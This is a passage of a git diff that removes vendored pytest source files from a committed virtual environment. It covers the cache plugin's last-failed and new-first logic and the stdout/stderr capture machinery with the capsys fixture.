self._report_status = ( - f"{len(self.lastfailed)} known failures not in selected tests" - ) - else: - if self.config.getoption("lf"): - items[:] = previously_failed - config.hook.pytest_deselected(items=previously_passed) - else: # --failedfirst - items[:] = previously_failed + previously_passed - - noun = "failure" if self._previously_failed_count == 1 else "failures" - suffix = " first" if self.config.getoption("failedfirst") else "" - self._report_status = ( - f"rerun previous {self._previously_failed_count} {noun}{suffix}" - ) - - if self._skipped_files > 0: - files_noun = "file" if self._skipped_files == 1 else "files" - self._report_status += f" (skipped {self._skipped_files} {files_noun})" - else: - self._report_status = "no previously failed tests, " - if self.config.getoption("last_failed_no_failures") == "none": - self._report_status += "deselecting all items." - config.hook.pytest_deselected(items=items[:]) - items[:] = [] - else: - self._report_status += "not deselecting items." - - return res - - def pytest_sessionfinish(self, session: Session) -> None: - config = self.config - if config.getoption("cacheshow") or hasattr(config, "workerinput"): - return - - assert config.cache is not None - saved_lastfailed = config.cache.get("cache/lastfailed", {}) - if saved_lastfailed != self.lastfailed: - config.cache.set("cache/lastfailed", self.lastfailed) - - -class NFPlugin: - """Plugin which implements the --nf (run new-first) option.""" - - def __init__(self, config: Config) -> None: - self.config = config - self.active = config.option.newfirst - assert config.cache is not None - self.cached_nodeids = set(config.cache.get("cache/nodeids", [])) - - @hookimpl(wrapper=True, tryfirst=True) - def pytest_collection_modifyitems(self, items: list[nodes.Item]) -> Generator[None]: - res = yield - - if self.active: - new_items: dict[str, nodes.Item] = {} - other_items: dict[str, nodes.Item] = {} - for item in items: - if item.nodeid not in self.cached_nodeids: - new_items[item.nodeid] = item - else: - other_items[item.nodeid] = item - - items[:] = self._get_increasing_order( - new_items.values() - ) + self._get_increasing_order(other_items.values()) - self.cached_nodeids.update(new_items) - else: - self.cached_nodeids.update(item.nodeid for item in items) - - return res - - def _get_increasing_order(self, items: Iterable[nodes.Item]) -> list[nodes.Item]: - return sorted(items, key=lambda item: item.path.stat().st_mtime, reverse=True) - - def pytest_sessionfinish(self) -> None: - config = self.config - if config.getoption("cacheshow") or hasattr(config, "workerinput"): - return - - if config.getoption("collectonly"): - return - - assert config.cache is not None - config.cache.set("cache/nodeids", sorted(self.cached_nodeids)) - - -def pytest_addoption(parser: Parser) -> None: - """Add command-line options for cache functionality. - - :param parser: Parser object to add command-line options to. - """ - group = parser.getgroup("general") - group.addoption( - "--lf", - "--last-failed", - action="store_true", - dest="lf", - help="Rerun only the tests that failed at the last run (or all if none failed)", - ) - group.addoption( - "--ff", - "--failed-first", - action="store_true", - dest="failedfirst", - help="Run all tests, but run the last failures first. " - "This may re-order tests and thus lead to " - "repeated fixture setup/teardown.", - ) - group.addoption( - "--nf", - "--new-first", - action="store_true", - dest="newfirst", - help="Run tests from new files first, then the rest of the tests " - "sorted by file mtime", - ) - group.addoption( - "--cache-show", - action="append", - nargs="?", - dest="cacheshow", - help=( - "Show cache contents, don't perform collection or tests. " - "Optional argument: glob (default: '*')." - ), - ) - group.addoption( - "--cache-clear", - action="store_true", - dest="cacheclear", - help="Remove all cache contents at start of test run", - ) - cache_dir_default = ".pytest_cache" - if "TOX_ENV_DIR" in os.environ: - cache_dir_default = os.path.join(os.environ["TOX_ENV_DIR"], cache_dir_default) - parser.addini("cache_dir", default=cache_dir_default, help="Cache directory path") - group.addoption( - "--lfnf", - "--last-failed-no-failures", - action="store", - dest="last_failed_no_failures", - choices=("all", "none"), - default="all", - help="With ``--lf``, determines whether to execute tests when there " - "are no previously (known) failures or when no " - "cached ``lastfailed`` data was found. " - "``all`` (the default) runs the full test suite again. " - "``none`` just emits a message about no known failures and exits successfully.", - ) - - -def pytest_cmdline_main(config: Config) -> int | ExitCode | None: - if config.option.cacheshow and not config.option.help: - from _pytest.main import wrap_session - - return wrap_session(config, cacheshow) - return None - - -@hookimpl(tryfirst=True) -def pytest_configure(config: Config) -> None: - """Configure cache system and register related plugins. - - Creates the Cache instance and registers the last-failed (LFPlugin) - and new-first (NFPlugin) plugins with the plugin manager. - - :param config: pytest configuration object. - """ - config.cache = Cache.for_config(config, _ispytest=True) - config.pluginmanager.register(LFPlugin(config), "lfplugin") - config.pluginmanager.register(NFPlugin(config), "nfplugin") - - -@fixture -def cache(request: FixtureRequest) -> Cache: - """Return a cache object that can persist state between testing sessions. - - cache.get(key, default) - cache.set(key, value) - - Keys must be ``/`` separated strings, where the first part is usually the - name of your plugin or application to avoid clashes with other cache users. - - Values can be any object handled by the json stdlib module. - """ - assert request.config.cache is not None - return request.config.cache - - -def pytest_report_header(config: Config) -> str | None: - """Display cachedir with --cache-show and if non-default.""" - if config.option.verbose > 0 or config.getini("cache_dir") != ".pytest_cache": - assert config.cache is not None - cachedir = config.cache._cachedir - # TODO: evaluate generating upward relative paths - # starting with .., ../.. if sensible - - try: - displaypath = cachedir.relative_to(config.rootpath) - except ValueError: - displaypath = cachedir - return f"cachedir: {displaypath}" - return None - - -def cacheshow(config: Config, session: Session) -> int: - """Display cache contents when --cache-show is used. - - Shows cached values and directories matching the specified glob pattern - (default: '*'). Displays cache location, cached test results, and - any cached directories created by plugins. - - :param config: pytest configuration object. - :param session: pytest session object. - :returns: Exit code (0 for success). - """ - from pprint import pformat - - assert config.cache is not None - - tw = TerminalWriter() - tw.line("cachedir: " + str(config.cache._cachedir)) - if not config.cache._cachedir.is_dir(): - tw.line("cache is empty") - return 0 - - glob = config.option.cacheshow[0] - if glob is None: - glob = "*" - - dummy = object() - basedir = config.cache._cachedir - vdir = basedir / Cache._CACHE_PREFIX_VALUES - tw.sep("-", f"cache values for {glob!r}") - for valpath in sorted(x for x in vdir.rglob(glob) if x.is_file()): - key = str(valpath.relative_to(vdir)) - val = config.cache.get(key, dummy) - if val is dummy: - tw.line(f"{key} contains unreadable content, will be ignored") - else: - tw.line(f"{key} contains:") - for line in pformat(val).splitlines(): - tw.line(" " + line) - - ddir = basedir / Cache._CACHE_PREFIX_DIRS - if ddir.is_dir(): - contents = sorted(ddir.rglob(glob)) - tw.sep("-", f"cache directories for {glob!r}") - for p in contents: - # if p.is_dir(): - # print("%s/" % p.relative_to(basedir)) - if p.is_file(): - key = str(p.relative_to(basedir)) - tw.line(f"{key} is a file of length {p.stat().st_size}") - return 0 diff --git a/venv/Lib/site-packages/_pytest/capture.py b/venv/Lib/site-packages/_pytest/capture.py deleted file mode 100644 index f9f8f9e4a28d2848863a02d9434997bae0335cf5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/capture.py +++ /dev/null @@ -1,1151 +0,0 @@ -# mypy: allow-untyped-defs -"""Per-test stdout/stderr capturing mechanism.""" - -from __future__ import annotations - -import abc -import collections -from collections.abc import Generator -from collections.abc import Iterable -from collections.abc import Iterator -import contextlib -import io -from io import UnsupportedOperation -import os -import sys -from tempfile import TemporaryFile -from types import TracebackType -from typing import Any -from typing import AnyStr -from typing import BinaryIO -from typing import cast -from typing import Final -from typing import final -from typing import Generic -from typing import Literal -from typing import NamedTuple -from typing import TextIO -from typing import TYPE_CHECKING - - -if TYPE_CHECKING: - from typing_extensions import Self - -from _pytest.config import Config -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import SubRequest -from _pytest.nodes import Collector -from _pytest.nodes import File -from _pytest.nodes import Item -from _pytest.reports import CollectReport - - -_CaptureMethod = Literal["fd", "sys", "no", "tee-sys"] - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("general") - group.addoption( - "--capture", - action="store", - default="fd", - metavar="method", - choices=["fd", "sys", "no", "tee-sys"], - help="Per-test capturing method: one of fd|sys|no|tee-sys", - ) - group._addoption( # private to use reserved lower-case short option - "-s", - action="store_const", - const="no", - dest="capture", - help="Shortcut for --capture=no", - ) - - -def _colorama_workaround() -> None: - """Ensure colorama is imported so that it attaches to the correct stdio - handles on Windows. - - colorama uses the terminal on import time. So if something does the - first import of colorama while I/O capture is active, colorama will - fail in various ways. - """ - if sys.platform.startswith("win32"): - try: - import colorama # noqa: F401 - except ImportError: - pass - - -def _readline_workaround() -> None: - """Ensure readline is imported early so it attaches to the correct stdio handles. - - This isn't a problem with the default GNU readline implementation, but in - some configurations, Python uses libedit instead (on macOS, and for prebuilt - binaries such as used by uv). - - In theory this is only needed if readline.backend == "libedit", but the - workaround consists of importing readline here, so we already worked around - the issue by the time we could check if we need to. - """ - try: - import readline # noqa: F401 - except ImportError: - pass - - -def _windowsconsoleio_workaround(stream: TextIO) -> None: - """Workaround for Windows Unicode console handling. - - Python 3.6 implemented Unicode console handling for Windows. This works - by reading/writing to the raw console handle using - ``{Read,Write}ConsoleW``. - - The problem is that we are going to ``dup2`` over the stdio file - descriptors when doing ``FDCapture`` and this will ``CloseHandle`` the - handles used by Python to write to the console. Though there is still some - weirdness and the console handle seems to only be closed randomly and not - on the first call to ``CloseHandle``, or maybe it gets reopened with the - same handle value when we suspend capturing. - - The workaround in this case will reopen stdio with a different fd which - also means a different handle by replicating the logic in - "Py_lifecycle.c:initstdio/create_stdio". - - :param stream: - In practice ``sys.stdout`` or ``sys.stderr``, but given - here as parameter for unittesting purposes. - - See https://github.com/pytest-dev/py/issues/103. - """ - if not sys.platform.startswith("win32") or hasattr(sys, "pypy_version_info"): - return - - # Bail out if ``stream`` doesn't seem like a proper ``io`` stream (#2666). - if not hasattr(stream, "buffer"): # type: ignore[unreachable,unused-ignore] - return - - raw_stdout = stream.buffer.raw if hasattr(stream.buffer, "raw") else stream.buffer - - if not isinstance(raw_stdout, io._WindowsConsoleIO): # type: ignore[attr-defined,unused-ignore] - return - - def _reopen_stdio(f, mode): - if not hasattr(stream.buffer, "raw") and mode[0] == "w": - buffering = 0 - else: - buffering = -1 - - return io.TextIOWrapper( - open(os.dup(f.fileno()), mode, buffering), - f.encoding, - f.errors, - f.newlines, - f.line_buffering, - ) - - sys.stdin = _reopen_stdio(sys.stdin, "rb") - sys.stdout = _reopen_stdio(sys.stdout, "wb") - sys.stderr = _reopen_stdio(sys.stderr, "wb") - - -@hookimpl(wrapper=True) -def pytest_load_initial_conftests(early_config: Config) -> Generator[None]: - ns = early_config.known_args_namespace - if ns.capture == "fd": - _windowsconsoleio_workaround(sys.stdout) - _colorama_workaround() - _readline_workaround() - pluginmanager = early_config.pluginmanager - capman = CaptureManager(ns.capture) - pluginmanager.register(capman, "capturemanager") - - # Make sure that capturemanager is properly reset at final shutdown. - early_config.add_cleanup(capman.stop_global_capturing) - - # Finally trigger conftest loading but while capturing (issue #93). - capman.start_global_capturing() - try: - try: - yield - finally: - capman.suspend_global_capture() - except BaseException: - out, err = capman.read_global_capture() - sys.stdout.write(out) - sys.stderr.write(err) - raise - - -# IO Helpers. - - -class EncodedFile(io.TextIOWrapper): - __slots__ = () - - @property - def name(self) -> str: - # Ensure that file.name is a string. Workaround for a Python bug - # fixed in >=3.7.4: https://bugs.python.org/issue36015 - return repr(self.buffer) - - @property - def mode(self) -> str: - # TextIOWrapper doesn't expose a mode, but at least some of our - # tests check it. - assert hasattr(self.buffer, "mode") - return cast(str, self.buffer.mode.replace("b", "")) - - -class CaptureIO(io.TextIOWrapper): - def __init__(self) -> None: - super().__init__(io.BytesIO(), encoding="UTF-8", newline="", write_through=True) - - def getvalue(self) -> str: - assert isinstance(self.buffer, io.BytesIO) - return self.buffer.getvalue().decode("UTF-8") - - -class TeeCaptureIO(CaptureIO): - def __init__(self, other: TextIO) -> None: - self._other = other - super().__init__() - - def write(self, s: str) -> int: - super().write(s) - return self._other.write(s) - - -class DontReadFromInput(TextIO): - @property - def encoding(self) -> str: - assert sys.__stdin__ is not None - return sys.__stdin__.encoding - - def read(self, size: int = -1) -> str: - raise OSError( - "pytest: reading from stdin while output is captured! Consider using `-s`." - ) - - readline = read - - def __next__(self) -> str: - return self.readline() - - def readlines(self, hint: int | None = -1) -> list[str]: - raise OSError( - "pytest: reading from stdin while output is captured! Consider using `-s`." - ) - - def __iter__(self) -> Iterator[str]: - return self - - def fileno(self) -> int: - raise UnsupportedOperation("redirected stdin is pseudofile, has no fileno()") - - def flush(self) -> None: - raise UnsupportedOperation("redirected stdin is pseudofile, has no flush()") - - def isatty(self) -> bool: - return False - - def close(self) -> None: - pass - - def readable(self) -> bool: - return False - - def seek(self, offset: int, whence: int = 0) -> int: - raise UnsupportedOperation("redirected stdin is pseudofile, has no seek(int)") - - def seekable(self) -> bool: - return False - - def tell(self) -> int: - raise UnsupportedOperation("redirected stdin is pseudofile, has no tell()") - - def truncate(self, size: int | None = None) -> int: - raise UnsupportedOperation("cannot truncate stdin") - - def write(self, data: str) -> int: - raise UnsupportedOperation("cannot write to stdin") - - def writelines(self, lines: Iterable[str]) -> None: - raise UnsupportedOperation("Cannot write to stdin") - - def writable(self) -> bool: - return False - - def __enter__(self) -> Self: - return self - - def __exit__( - self, - type: type[BaseException] | None, - value: BaseException | None, - traceback: TracebackType | None, - ) -> None: - pass - - @property - def buffer(self) -> BinaryIO: - # The str/bytes doesn't actually matter in this type, so OK to fake. - return self # type: ignore[return-value] - - -# Capture classes. - - -class CaptureBase(abc.ABC, Generic[AnyStr]): - EMPTY_BUFFER: AnyStr - - @abc.abstractmethod - def __init__(self, fd: int) -> None: - raise NotImplementedError() - - @abc.abstractmethod - def start(self) -> None: - raise NotImplementedError() - - @abc.abstractmethod - def done(self) -> None: - raise NotImplementedError() - - @abc.abstractmethod - def suspend(self) -> None: - raise NotImplementedError() - - @abc.abstractmethod - def resume(self) -> None: - raise NotImplementedError() - - @abc.abstractmethod - def writeorg(self, data: AnyStr) -> None: - raise NotImplementedError() - - @abc.abstractmethod - def snap(self) -> AnyStr: - raise NotImplementedError() - - -patchsysdict = {0: "stdin", 1: "stdout", 2: "stderr"} - - -class NoCapture(CaptureBase[str]): - EMPTY_BUFFER = "" - - def __init__(self, fd: int) -> None: - pass - - def start(self) -> None: - pass - - def done(self) -> None: - pass - - def suspend(self) -> None: - pass - - def resume(self) -> None: - pass - - def snap(self) -> str: - return "" - - def writeorg(self, data: str) -> None: - pass - - -class SysCaptureBase(CaptureBase[AnyStr]): - def __init__( - self, fd: int, tmpfile: TextIO | None = None, *, tee: bool = False - ) -> None: - name = patchsysdict[fd] - self._old: TextIO = getattr(sys, name) - self.name = name - if tmpfile is None: - if name == "stdin": - tmpfile = DontReadFromInput() - else: - tmpfile = CaptureIO() if not tee else TeeCaptureIO(self._old) - self.tmpfile = tmpfile - self._state = "initialized" - - def repr(self, class_name: str) -> str: - return "<{} {} _old={} _state={!r} tmpfile={!r}>".format( - class_name, - self.name, - (hasattr(self, "_old") and repr(self._old)) or "", - self._state, - self.tmpfile, - ) - - def __repr__(self) -> str: - return "<{} {} _old={} _state={!r} tmpfile={!r}>".format( - self.__class__.__name__, - self.name, - (hasattr(self, "_old") and repr(self._old)) or "", - self._state, - self.tmpfile, - ) - - def _assert_state(self, op: str, states: tuple[str, ...]) -> None: - assert self._state in states, ( - "cannot {} in state {!r}: expected one of {}".format( - op, self._state, ", ".join(states) - ) - ) - - def start(self) -> None: - self._assert_state("start", ("initialized",)) - setattr(sys, self.name, self.tmpfile) - self._state = "started" - - def done(self) -> None: - self._assert_state("done", ("initialized", "started", "suspended", "done")) - if self._state == "done": - return - setattr(sys, self.name, self._old) - del self._old - self.tmpfile.close() - self._state = "done" - - def suspend(self) -> None: - self._assert_state("suspend", ("started", "suspended")) - setattr(sys, self.name, self._old) - self._state = "suspended" - - def resume(self) -> None: - self._assert_state("resume", ("started", "suspended")) - if self._state == "started": - return - setattr(sys, self.name, self.tmpfile) - self._state = "started" - - -class SysCaptureBinary(SysCaptureBase[bytes]): - EMPTY_BUFFER = b"" - - def snap(self) -> bytes: - self._assert_state("snap", ("started", "suspended")) - self.tmpfile.seek(0) - res = self.tmpfile.buffer.read() - self.tmpfile.seek(0) - self.tmpfile.truncate() - return res - - def writeorg(self, data: bytes) -> None: - self._assert_state("writeorg", ("started", "suspended")) - self._old.flush() - self._old.buffer.write(data) - self._old.buffer.flush() - - -class SysCapture(SysCaptureBase[str]): - EMPTY_BUFFER = "" - - def snap(self) -> str: - self._assert_state("snap", ("started", "suspended")) - assert isinstance(self.tmpfile, CaptureIO) - res = self.tmpfile.getvalue() - self.tmpfile.seek(0) - self.tmpfile.truncate() - return res - - def writeorg(self, data: str) -> None: - self._assert_state("writeorg", ("started", "suspended")) - self._old.write(data) - self._old.flush() - - -class FDCaptureBase(CaptureBase[AnyStr]): - def __init__(self, targetfd: int) -> None: - self.targetfd = targetfd - - try: - os.fstat(targetfd) - except OSError: - # FD capturing is conceptually simple -- create a temporary file, - # redirect the FD to it, redirect back when done. But when the - # target FD is invalid it throws a wrench into this lovely scheme. - # - # Tests themselves shouldn't care if the FD is valid, FD capturing - # should work regardless of external circumstances. So falling back - # to just sys capturing is not a good option. - # - # Further complications are the need to support suspend() and the - # possibility of FD reuse (e.g. the tmpfile getting the very same - # target FD). The following approach is robust, I believe. - self.targetfd_invalid: int | None = os.open(os.devnull, os.O_RDWR) - os.dup2(self.targetfd_invalid, targetfd) - else: - self.targetfd_invalid = None - self.targetfd_save = os.dup(targetfd) - - if targetfd == 0: - self.tmpfile = open(os.devnull, encoding="utf-8") - self.syscapture: CaptureBase[str] = SysCapture(targetfd) - else: - self.tmpfile = EncodedFile( - TemporaryFile(buffering=0), - encoding="utf-8", - errors="replace", - newline="", - write_through=True, - ) - if targetfd in patchsysdict: - self.syscapture = SysCapture(targetfd, self.tmpfile) - else: - self.syscapture = NoCapture(targetfd) - - self._state = "initialized" - - def __repr__(self) -> str: - return ( - f"<{self.__class__.__name__} {self.targetfd} oldfd={self.targetfd_save} " - f"_state={self._state!r} tmpfile={self.tmpfile!r}>" - ) - - def _assert_state(self, op: str, states: tuple[str, ...]) -> None: - assert self._state in states, ( - "cannot {} in state {!r}: expected one of {}".format( - op, self._state, ", ".join(states) - ) - ) - - def start(self) -> None: - """Start capturing on targetfd using memorized tmpfile.""" - self._assert_state("start", ("initialized",)) - os.dup2(self.tmpfile.fileno(), self.targetfd) - self.syscapture.start() - self._state = "started" - - def done(self) -> None: - """Stop capturing, restore streams, return original capture file, - seeked to position zero.""" - self._assert_state("done", ("initialized", "started", "suspended", "done")) - if self._state == "done": - return - os.dup2(self.targetfd_save, self.targetfd) - os.close(self.targetfd_save) - if self.targetfd_invalid is not None: - if self.targetfd_invalid != self.targetfd: - os.close(self.targetfd) - os.close(self.targetfd_invalid) - self.syscapture.done() - self.tmpfile.close() - self._state = "done" - - def suspend(self) -> None: - self._assert_state("suspend", ("started", "suspended")) - if self._state == "suspended": - return - self.syscapture.suspend() - os.dup2(self.targetfd_save, self.targetfd) - self._state = "suspended" - - def resume(self) -> None: - self._assert_state("resume", ("started", "suspended")) - if self._state == "started": - return - self.syscapture.resume() - os.dup2(self.tmpfile.fileno(), self.targetfd) - self._state = "started" - - -class FDCaptureBinary(FDCaptureBase[bytes]): - """Capture IO to/from a given OS-level file descriptor. - - snap() produces `bytes`. - """ - - EMPTY_BUFFER = b"" - - def snap(self) -> bytes: - self._assert_state("snap", ("started", "suspended")) - self.tmpfile.seek(0) - res = self.tmpfile.buffer.read() - self.tmpfile.seek(0) - self.tmpfile.truncate() - return res # type: ignore[return-value] - - def writeorg(self, data: bytes) -> None: - """Write to original file descriptor.""" - self._assert_state("writeorg", ("started", "suspended")) - os.write(self.targetfd_save, data) - - -class FDCapture(FDCaptureBase[str]): - """Capture IO to/from a given OS-level file descriptor. - - snap() produces text. - """ - - EMPTY_BUFFER = "" - - def snap(self) -> str: - self._assert_state("snap", ("started", "suspended")) - self.tmpfile.seek(0) - res = self.tmpfile.read() - self.tmpfile.seek(0) - self.tmpfile.truncate() - return res - - def writeorg(self, data: str) -> None: - """Write to original file descriptor.""" - self._assert_state("writeorg", ("started", "suspended")) - # XXX use encoding of original stream - os.write(self.targetfd_save, data.encode("utf-8")) - - -# MultiCapture - - -# Generic NamedTuple only supported since Python 3.11. -if sys.version_info >= (3, 11) or TYPE_CHECKING: - - @final - class CaptureResult(NamedTuple, Generic[AnyStr]): - """The result of :method:`caplog.readouterr() `.""" - - out: AnyStr - err: AnyStr - -else: - - class CaptureResult( - collections.namedtuple("CaptureResult", ["out", "err"]), # noqa: PYI024 - Generic[AnyStr], - ): - """The result of :method:`caplog.readouterr() `.""" - - __slots__ = () - - -class MultiCapture(Generic[AnyStr]): - _state = None - _in_suspended = False - - def __init__( - self, - in_: CaptureBase[AnyStr] | None, - out: CaptureBase[AnyStr] | None, - err: CaptureBase[AnyStr] | None, - ) -> None: - self.in_: CaptureBase[AnyStr] | None = in_ - self.out: CaptureBase[AnyStr] | None = out - self.err: CaptureBase[AnyStr] | None = err - - def __repr__(self) -> str: - return ( - f"" - ) - - def start_capturing(self) -> None: - self._state = "started" - if self.in_: - self.in_.start() - if self.out: - self.out.start() - if self.err: - self.err.start() - - def pop_outerr_to_orig(self) -> tuple[AnyStr, AnyStr]: - """Pop current snapshot out/err capture and flush to orig streams.""" - out, err = self.readouterr() - if out: - assert self.out is not None - self.out.writeorg(out) - if err: - assert self.err is not None - self.err.writeorg(err) - return out, err - - def suspend_capturing(self, in_: bool = False) -> None: - self._state = "suspended" - if self.out: - self.out.suspend() - if self.err: - self.err.suspend() - if in_ and self.in_: - self.in_.suspend() - self._in_suspended = True - - def resume_capturing(self) -> None: - self._state = "started" - if self.out: - self.out.resume() - if self.err: - self.err.resume() - if self._in_suspended: - assert self.in_ is not None - self.in_.resume() - self._in_suspended = False - - def stop_capturing(self) -> None: - """Stop capturing and reset capturing streams.""" - if self._state == "stopped": - raise ValueError("was already stopped") - self._state = "stopped" - if self.out: - self.out.done() - if self.err: - self.err.done() - if self.in_: - self.in_.done() - - def is_started(self) -> bool: - """Whether actively capturing -- not suspended or stopped.""" - return self._state == "started" - - def readouterr(self) -> CaptureResult[AnyStr]: - out = self.out.snap() if self.out else "" - err = self.err.snap() if self.err else "" - # TODO: This type error is real, need to fix. - return CaptureResult(out, err) # type: ignore[arg-type] - - -def _get_multicapture(method: _CaptureMethod) -> MultiCapture[str]: - if method == "fd": - return MultiCapture(in_=FDCapture(0), out=FDCapture(1), err=FDCapture(2)) - elif method == "sys": - return MultiCapture(in_=SysCapture(0), out=SysCapture(1), err=SysCapture(2)) - elif method == "no": - return MultiCapture(in_=None, out=None, err=None) - elif method == "tee-sys": - return MultiCapture( - in_=None, out=SysCapture(1, tee=True), err=SysCapture(2, tee=True) - ) - raise ValueError(f"unknown capturing method: {method!r}") - - -# CaptureManager and CaptureFixture - - -class CaptureManager: - """The capture plugin. - - Manages that the appropriate capture method is enabled/disabled during - collection and each test phase (setup, call, teardown). After each of - those points, the captured output is obtained and attached to the - collection/runtest report. - - There are two levels of capture: - - * global: enabled by default and can be suppressed by the ``-s`` - option. This is always enabled/disabled during collection and each test - phase. - - * fixture: when a test function or one of its fixture depend on the - ``capsys`` or ``capfd`` fixtures. In this case special handling is - needed to ensure the fixtures take precedence over the global capture. - """ - - def __init__(self, method: _CaptureMethod) -> None: - self._method: Final = method - self._global_capturing: MultiCapture[str] | None = None - self._capture_fixture: CaptureFixture[Any] | None = None - - def __repr__(self) -> str: - return ( - f"" - ) - - def is_capturing(self) -> str | bool: - if self.is_globally_capturing(): - return "global" - if self._capture_fixture: - return f"fixture {self._capture_fixture.request.fixturename}" - return False - - # Global capturing control - - def is_globally_capturing(self) -> bool: - return self._method != "no" - - def start_global_capturing(self) -> None: - assert self._global_capturing is None - self._global_capturing = _get_multicapture(self._method) - self._global_capturing.start_capturing() - - def stop_global_capturing(self) -> None: - if self._global_capturing is not None: - self._global_capturing.pop_outerr_to_orig() - self._global_capturing.stop_capturing() - self._global_capturing = None - - def resume_global_capture(self) -> None: - # During teardown of the python process, and on rare occasions, capture - # attributes can be `None` while trying to resume global capture. - if self._global_capturing is not None: - self._global_capturing.resume_capturing() - - def suspend_global_capture(self, in_: bool = False) -> None: - if self._global_capturing is not None: - self._global_capturing.suspend_capturing(in_=in_) - - def suspend(self, in_: bool = False) -> None: - # Need to undo local capsys-et-al if it exists before disabling global capture. - self.suspend_fixture() - self.suspend_global_capture(in_) - - def resume(self) -> None: - self.resume_global_capture() - self.resume_fixture() - - def read_global_capture(self) -> CaptureResult[str]: - assert self._global_capturing is not None - return self._global_capturing.readouterr() - - # Fixture Control - - def set_fixture(self, capture_fixture: CaptureFixture[Any]) -> None: - if self._capture_fixture: - current_fixture = self._capture_fixture.request.fixturename - requested_fixture = capture_fixture.request.fixturename - capture_fixture.request.raiseerror( - f"cannot use {requested_fixture} and {current_fixture} at the same time" - ) - self._capture_fixture = capture_fixture - - def unset_fixture(self) -> None: - self._capture_fixture = None - - def activate_fixture(self) -> None: - """If the current item is using ``capsys`` or ``capfd``, activate - them so they take precedence over the global capture.""" - if self._capture_fixture: - self._capture_fixture._start() - - def deactivate_fixture(self) -> None: - """Deactivate the ``capsys`` or ``capfd`` fixture of this item, if any.""" - if self._capture_fixture: - self._capture_fixture.close() - - def suspend_fixture(self) -> None: - if self._capture_fixture: - self._capture_fixture._suspend() - - def resume_fixture(self) -> None: - if self._capture_fixture: - self._capture_fixture._resume() - - # Helper context managers - - @contextlib.contextmanager - def global_and_fixture_disabled(self) -> Generator[None]: - """Context manager to temporarily disable global and current fixture capturing.""" - do_fixture = self._capture_fixture and self._capture_fixture._is_started() - if do_fixture: - self.suspend_fixture() - do_global = self._global_capturing and self._global_capturing.is_started() - if do_global: - self.suspend_global_capture() - try: - yield - finally: - if do_global: - self.resume_global_capture() - if do_fixture: - self.resume_fixture() - - @contextlib.contextmanager - def item_capture(self, when: str, item: Item) -> Generator[None]: - self.resume_global_capture() - self.activate_fixture() - try: - yield - finally: - self.deactivate_fixture() - self.suspend_global_capture(in_=False) - - out, err = self.read_global_capture() - item.add_report_section(when, "stdout", out) - item.add_report_section(when, "stderr", err) - - # Hooks - - @hookimpl(wrapper=True) - def pytest_make_collect_report( - self, collector: Collector - ) -> Generator[None, CollectReport, CollectReport]: - if isinstance(collector, File): - self.resume_global_capture() - try: - rep = yield - finally: - self.suspend_global_capture() - out, err = self.read_global_capture() - if out: - rep.sections.append(("Captured stdout", out)) - if err: - rep.sections.append(("Captured stderr", err)) - else: - rep = yield - return rep - - @hookimpl(wrapper=True) - def pytest_runtest_setup(self, item: Item) -> Generator[None]: - with self.item_capture("setup", item): - return (yield) - - @hookimpl(wrapper=True) - def pytest_runtest_call(self, item: Item) -> Generator[None]: - with self.item_capture("call", item): - return (yield) - - @hookimpl(wrapper=True) - def pytest_runtest_teardown(self, item: Item) -> Generator[None]: - with self.item_capture("teardown", item): - return (yield) - - @hookimpl(tryfirst=True) - def pytest_keyboard_interrupt(self) -> None: - self.stop_global_capturing() - - @hookimpl(tryfirst=True) - def pytest_internalerror(self) -> None: - self.stop_global_capturing() - - -class CaptureFixture(Generic[AnyStr]): - """Object returned by the :fixture:`capsys`, :fixture:`capsysbinary`, - :fixture:`capfd` and :fixture:`capfdbinary` fixtures.""" - - def __init__( - self, - captureclass: type[CaptureBase[AnyStr]], - request: SubRequest, - *, - config: dict[str, Any] | None = None, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self.captureclass: type[CaptureBase[AnyStr]] = captureclass - self.request = request - self._config = config if config else {} - self._capture: MultiCapture[AnyStr] | None = None - self._captured_out: AnyStr = self.captureclass.EMPTY_BUFFER - self._captured_err: AnyStr = self.captureclass.EMPTY_BUFFER - - def _start(self) -> None: - if self._capture is None: - self._capture = MultiCapture( - in_=None, - out=self.captureclass(1, **self._config), - err=self.captureclass(2, **self._config), - ) - self._capture.start_capturing() - - def close(self) -> None: - if self._capture is not None: - if self._config.get("tee"): - # When tee is enabled, output was already written to the - # original stream in real-time by TeeCaptureIO. Using - # pop_outerr_to_orig() would write it a second time via - # writeorg(), causing doubled output (see #13784). - out, err = self._capture.readouterr() - else: - out, err = self._capture.pop_outerr_to_orig() - self._captured_out += out - self._captured_err += err - self._capture.stop_capturing() - self._capture = None - - def readouterr(self) -> CaptureResult[AnyStr]: - """Read and return the captured output so far, resetting the internal - buffer. - - :returns: - The captured content as a namedtuple with ``out`` and ``err`` - string attributes. - """ - captured_out, captured_err = self._captured_out, self._captured_err - if self._capture is not None: - out, err = self._capture.readouterr() - captured_out += out - captured_err += err - self._captured_out = self.captureclass.EMPTY_BUFFER - self._captured_err = self.captureclass.EMPTY_BUFFER - return CaptureResult(captured_out, captured_err) - - def _suspend(self) -> None: - """Suspend this fixture's own capturing temporarily.""" - if self._capture is not None: - self._capture.suspend_capturing() - - def _resume(self) -> None: - """Resume this fixture's own capturing temporarily.""" - if self._capture is not None: - self._capture.resume_capturing() - - def _is_started(self) -> bool: - """Whether actively capturing -- not disabled or closed.""" - if self._capture is not None: - return self._capture.is_started() - return False - - @contextlib.contextmanager - def disabled(self) -> Generator[None]: - """Temporarily disable capturing while inside the ``with`` block.""" - capmanager: CaptureManager = self.request.config.pluginmanager.getplugin( - "capturemanager" - ) - with capmanager.global_and_fixture_disabled(): - yield - - -# The fixtures. - - -@fixture -def capsys(request: SubRequest) -> Generator[CaptureFixture[str]]: - r"""Enable text capturing of writes to ``sys.stdout`` and ``sys.stderr``. - - The captured output is made available via ``capsys.readouterr()`` method - calls, which return a ``(out, err)`` namedtuple. - ``out`` and ``err`` will be ``text`` objects. - - Returns an instance of :class:`CaptureFixture[str] `. - - Example: - - .. code-block:: python - - def test_output(capsys): - print("hello") - captured = capsys.readouterr() - assert captured.out == "hello\n" - """ - capman: CaptureManager = request.config.pluginmanager.getplugin("capturemanager") - capture_fixture = CaptureFixture(SysCapture, request, _ispytest=True) - capman.set_fixture(capture_fixture) - capture_fixture._start() - yield capture_fixture - capture_fixture.close() - capman.unset_fixture() - - -@fixture 